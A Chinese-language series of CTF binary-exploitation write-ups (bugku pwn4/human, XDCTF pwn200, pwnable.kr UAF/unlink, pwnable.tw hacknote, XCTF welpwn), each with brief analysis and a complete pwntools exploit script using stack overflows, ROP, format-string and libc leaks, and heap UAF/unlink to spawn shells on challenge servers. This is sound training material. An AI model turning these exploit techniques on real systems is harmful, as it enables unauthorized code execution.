一、bugkuctf pwn4(栈,ROP,system($0))
图1很容易看出来read函数栈溢出
紧接着就是题目给的调用system函数(图2)
但是找到不/bin/sh字样,怎么办?程序是任何保护都没开的,打算找个jmp指令去执行
但突然发现程序提供了$0字符串,那么system($0)等效于system("sh"),构造栈吧
程序是64位的,参数不全是在栈中,依次为rdi,rsi,rdx,rcx,r8,r9,用ROPgadget找一个pop rdi,ret的地址,如图5
最后的EXP:
from pwn import *
import sys
if sys.argv[1] == '1':
p = remote("114.116.54.89", 10004)
else:
p = process("./pwn4")
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = "debug"
#gdb.attach(proc.pidof(p)[0])
elf = ELF("./pwn4")
system_addr = elf.symbols["system"]
print(hex(system_addr))
#pause()
payload = "a" * 16 + p64(0xdeadbeef) + p64(0x4007D3) + p64(0x60111f) + p64(elf.plt["system"])
p.sendline(payload)
p.interactive()
二、bugkuctf human(printf泄露,libc-database,ROP)
漏洞很好看出来printf用来泄露地址,read用来溢出
先计算printf用的偏移,当前栈空间如下图,64位加上6个寄存器,再从rsp到要泄露的地址为5个%p,又因为从下标0开始,所以6+5=11,11正好指向0x7FFF.....E4B8。
这是更正下,不是从下标为0开始。而是因为rdi不在6个寄存器的计算范围内。即从rsi为1开始。可以尝试输出“%x,%x”。会发现是从rsi开始输出的,而rdi不会显示。当然,认为rdi的序号为0,rsi的序号为1也可以得出正确结果。对了rdi指向格式化字符串。
找到地址,用libc-database找到libc,再用one_gadget找出ROP
最后满足下程序的恶趣味,不能让程序执行到exit(),要走retn流程
最终EXP:
from pwn import *
import sys
if sys.argv[1] == "1":
p = remote("114.116.54.89", 10005)
else:
p = process("human")
context.log_level = "debug"
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
gdb.attach(proc.pidof(p)[0], '''
b *0x400810
b *0x400879
''')
p.readline()
p.readline()
p.sendline("%11$p")
libc_main_ret_addr = p.recvline()
print libc_main_ret_addr
libc_main_ret_addr = int(libc_main_ret_addr, 16)
libc_base_addr = libc_main_ret_addr - 0x20830
print libc_base_addr
p.readline()
p.readline()
p.readline()
p.readline()
p.readline()
p.readline()
p.readline()
p.readline()
libc_gadget_shell_addr = libc_base_addr + 0x45216
payload = "\xe7\x9c\x9f\xe9\xa6\x99\xe9\xb8\xbd\xe5\xad\x90" + "a" * 20 + p64(0xdeadbeaf) + p64(libc_gadget_shell_addr)
p.sendline(payload)
p.readline()
p.interactive()
三、pwn200(栈溢出泄露地址,ROP,平衡栈(让下条ret指令顺利执行))
栈溢出很容易找,但是这题没有给libc,也没有给system("sh")。安全措施及代码如图:
栈溢出返回到start函数,用DynELF去泄露libc地址,查到libc库吧
payload = 'a'*112{填充}+p32(write_plt){这里ret}+p32(main_addr){这里相当于上一级的call,调用完write后会在这个地址ret}+p32(1){第一个参数,最后push,所以在栈最上面}+p32(addr)+p32(4)
找到libc库后,找到system的地址,先调用read把bin/sh读到内存中去,构造ROP链路,去执行。因为read(arg1,arg2,arg3)有三个参数,所以需要pop,pop,pop,ret去把这三个参数占用的栈空间平衡掉,才能正常ret。用ROPgadget找出这个p,p,p,r
payload = 'a'*112+p32(read_plt)+p32(0x804856c){read执行后返回的地址}+p32(0){从这里开始,为read的参数}+p32(bss_addr)+p32(8)+p32(sys_addr){0x804856c的ret执行到这里}+p32(main_addr)+p32(bss_addr){system的参数}
最终EXP:
from pwn import *
elf = ELF('./pwn200')
io = remote('111.198.29.45', 33201)
write_plt = elf.plt['write']
read_plt = elf.plt['read']
main_addr = 0x80483D0
bss_addr = elf.bss()
pppr = 0x0804856C
def leak(addr):
io.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'a'*112+p32(write_plt)+p32(main_addr)+p32(1)+p32(addr)+p32(4)
io.sendline(payload)
msg = io.recv(4)
return msg
dyn = DynELF(leak,elf=elf)
sys_addr = dyn.lookup('system','libc')
payload = 'a'*112+p32(read_plt)+p32(pppr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(main_addr)+p32(bss_addr)
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#gdb.attach(proc.pidof(io)[0],'''
# b *0x80484BC
# ''')
pause()
io.sendline(payload)
pause()
io.sendline('/bin/sh\0')
io.interactive()
pwnable.kr UAF(fastbin重复申请特性,C++虚表)
先new一个堆,再将这个堆通过mov rdi,rbx,传给woman的构造函数,看看这个堆里有什么。
new(0x18)的这个堆保存着woman类的虚函数表,第一个就是human::give_shell。再看看堆的情况。
可以看出因为new的大小为0x18,所以man和woman的堆在Free时,会满足16<size<64这第一个条件,而首选被放入Fastbin中。Fastbin是个FIFO链表,所以,再一次申请同样大小的堆时,就能申请到woman和man释放的堆,进而通过UAF控制虚函数表。
最后在1.use时,执行如下代码:
通过分析得知,[rbp+var_38]=new返回的堆地址,[rax]=虚表地址(即前面的0x401550),所以call是执行 call [0x401550+8]命令,最简单的办法是申请一个堆,再传入0x401550-0x8这个值。在执行call [(0x401550-8) +8]时,就执行了give_shell。最终exp如下:
from pwn import *
from sys import *
vtable_addr = 0x401548
f = open("./1.bin", "wb")
f.write(p64(vtable_addr))
f.close()
pwnable.kr unlink(堆溢出,指针的指针,指向fd->bk的指针,EXP的构造(内存空间排布))
画图能力有限,这个现在也还在绕着。一不小心就指错了,一不小心内存就给破坏了。
讲真,不是那些注释一步步写下来,估计这辈子都写不正确。反正,现在unlink也被修复,开心最重要了。
先放EXP:
from pwn import *
from sys import argv
#printf("here is stack address leak: %p\n", &A);
#printf("here is heap address leak: %p\n", A);
#printf("now that you have leaks, get shell!\n");
context.log_level = "debug"
if argv[1] == "1":
p = process("./unlink")
else:
s = ssh(host='pwnable.kr',
port=2222,
user='unlink',
password='guest'
)
p = s.process("./unlink")
stack_addr_A = p.recvuntil("here is stack address leak: ")
stack_addr_A = p.recv(10)
stack_addr_A = int(stack_addr_A, 16)
print stack_addr_A
heap_addr_A = p.recvuntil("here is heap address leak: ")
heap_addr_A = p.recv(9)
heap_addr_A = int(heap_addr_A, 16)
print heap_addr_A
p.recvuntil("now that you have leaks, get shell!")
shell_addr = 0x080484EB
#payload offset heap+8
payload = p32(shell_addr)
payload += "a" * 12
#FD->bk = BK
#mov [eax+4], heap_addr_A + 12
#payload offset FD
payload += p32(stack_addr_A + 12)
#mov esp, [ecx-4]
#mov esp,[heap_addr_A + 12 - 4]
#payload offset BK
payload += p32(heap_addr_A + 12)
p.send(payload)
p.interactive()
pwnable.tw hack_note(UAF,FASTBIN申请特性)
fastbin有以下特点:
1、为LIFO单向链表;2、有多个链,每个链中chunk大小一致,相邻链表以8byte递增;3、32位下16~64byte大小的堆都被放在fastbin中
hack_note提供add、del、print三个操作。ADD:以一个数组保存add_note后申请的地址。DEL:但是在del里,没有对这个数组中的值置空,造成UAF。PRINT:程序中数组指向的是一个数据结构:
struct{ func* p; char[] ch},其中p指向一个调用puts函数的函数。
结构如下:
先看开启了哪些防护:
没有PIE,但是开了Canary。就很明显是上面发现的堆漏洞去利用。
利用思路就是fastbin的分配特性。因为程序自动申请的结构struct{ func* p; char[] ch},大小为chunk_header(4*2) + 4*2 = 16,那用户内容申请到32位,并且申请两次,再做两次del后,就能让fastbin有两条链表,一条是16大小的有两个堆,一条是32大小的有两个堆。这时,再次做add操作,并设置用户内容申请大小为16byte(这里要注意,为了申请16byte的堆,用户内容长度应为8byte),那就能利用第一次free后的16大小那个堆,进而可以控制pfunc*这个指针。再结合UAF调用print时,将调用被修改后的指针。
具体是先用puts泄露出puts.got的地址,得到libc的基址,再用one_gadget得到libc中的偏移,最后print一下,得到shell。
adworld.xctf welpwn(栈溢出,地址泄露,ehco函数截断输入的rop处理,LibcSearcher)
1.先看开启的防护
没有重定向,没有栈溢出保护,GOT可写。
2.看代码(坑一:echo的截断)
echo:
明显的栈溢出,但是会被字符串中的\x00截断,又因为64位的返回地址,前端一定为\x00。所以这里不能做为存放ROP链的地方。只有返回到main中的read函数中,没有这被截断的输入。
红框为echo的输入,蓝框为main的输入,黄框是echo的返回地址,这里会因为地址有\x00而截断,所以echo只能在这里放上一个pop|pop|pop|pop|ret的ROP,在0x7ffffffe0d0这里放上ret的地址,继续下一个rop。
3.exp代码(坑二:无法利用dynelf自动获取,最终转为LibcSearcher)
#coding = utf-8
from pwnimport *
import LibcSearcher
context.log_level ='debug'
p = remote('111.198.29.45' ,46133)
rop_chain =0x4008A3
welpwn_elf = ELF('./welpwn')
puts_plt = welpwn_elf.plt['puts']
puts_got = welpwn_elf.got['puts']
main_addr = welpwn_elf.symbols['main']
log.info("puts_got = " +hex(puts_got))
#return to the stack of main:read
#because echo read untill \x00
#so read until \x9c\x08\x40\x00\x00\x00....
padding ='A' *24 + p64(0x40089c)
bss_addr =0x601070
p.recvuntil("RCTF\n")
# def leak(addr):
# payload = padding + p64(rop_chain) + p64(addr) + p64(puts_plt) + p64(main_addr)
# p.sendline(payload)
# #recv 27 to get printf out data. After 27 is \x00
# p.recv(27)
# #recv all because unsure recv how much bytes
# tmp = p.recv()
# date = tmp.split("\nWelcome")[0]
# if len(date):
# return date
# else:
# return '\x00'
#
# d = DynELF(leak, elf=ELF('./welpwn'))
#puts address leak
payload = padding + p64(rop_chain) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
p.recvuntil("RCTF\n")
p.recv(27)
put_addr_libc = u64(p.recv().split("\n")[0].ljust(8,'\x00'))
log.info("put_addr_libc = " +hex(put_addr_libc))
#find Libc , system , bin/sh address with LibcSearcher or libc_database
libc_obj = LibcSearcher.LibcSearcher('puts', put_addr_libc)
libc_base_addr = put_addr_libc - libc_obj.dump('puts')
system_addr = libc_base_addr + libc_obj.dump("system")
str_bin_sh = libc_base_addr + libc_obj.dump('str_bin_sh')
log.info("system_addr = " +hex(system_addr))
log.info("str_bin_sh = " +hex(str_bin_sh))
#pwn now
payload = padding + p64(rop_chain) + p64(str_bin_sh) + p64(system_addr)
# don't recv .can't recv any thing
# p.recvuntil("RCTF\n")
p.sendline(payload)
#sleep(1)
#p.sendline('/bin/sh\x00')
p.interactive()